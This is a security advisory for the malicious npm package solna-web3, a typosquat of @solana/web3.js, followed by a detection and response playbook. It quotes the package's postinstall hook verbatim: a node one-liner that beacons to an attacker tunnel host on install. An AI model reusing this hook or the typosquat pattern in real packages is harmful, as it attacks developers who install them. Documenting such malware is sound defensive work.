solna-web3npm
Advisory published Updated
solna-web3 is a confirmed malicious npm package (MAL-2026-4248) that steals credentials and exfiltrates sensitive data (malicious version 1.5.98). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in solna-web3 (npm)
What this malware does
Package name 'solna-web3' is a one-character typosquat of the popular '@solana/web3.js' (drops the 'a' from 'solana'). The package's only real functionality lives in a postinstall hook: package.json declares "postinstall": "node -e '(async()=>{try{await require(\"https\").get(\"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry\")}catch(e){}})()'", which performs an HTTPS GET to a pinggy-free.link tunneling subdomain on every npm install. Pinggy is an anonymous, ephemeral tunneling service unrelated to npm or Solana; the path /npm/-/binary/telemetry is cover-story styling that mimics npm registry paths. Errors are silently swallowed. The request leaks installer IP, timing, and install count to attacker-controlled infrastructure with no opt-in. The advertised API surface (index.js exports a single trivial getProgram() that logs and shells out solana --version) is a stub designed to make the package look real; real behavior is the beacon. Combination of typosquat against a top-100 package + postinstall exfiltration to an anonymous tunneling host + decoy API is unambiguous supply-chain attack shape.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for solna-web3 (version 1.5.98).
If you installed it — respond
solna-web3 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If solna-web3 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks solna-web3-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.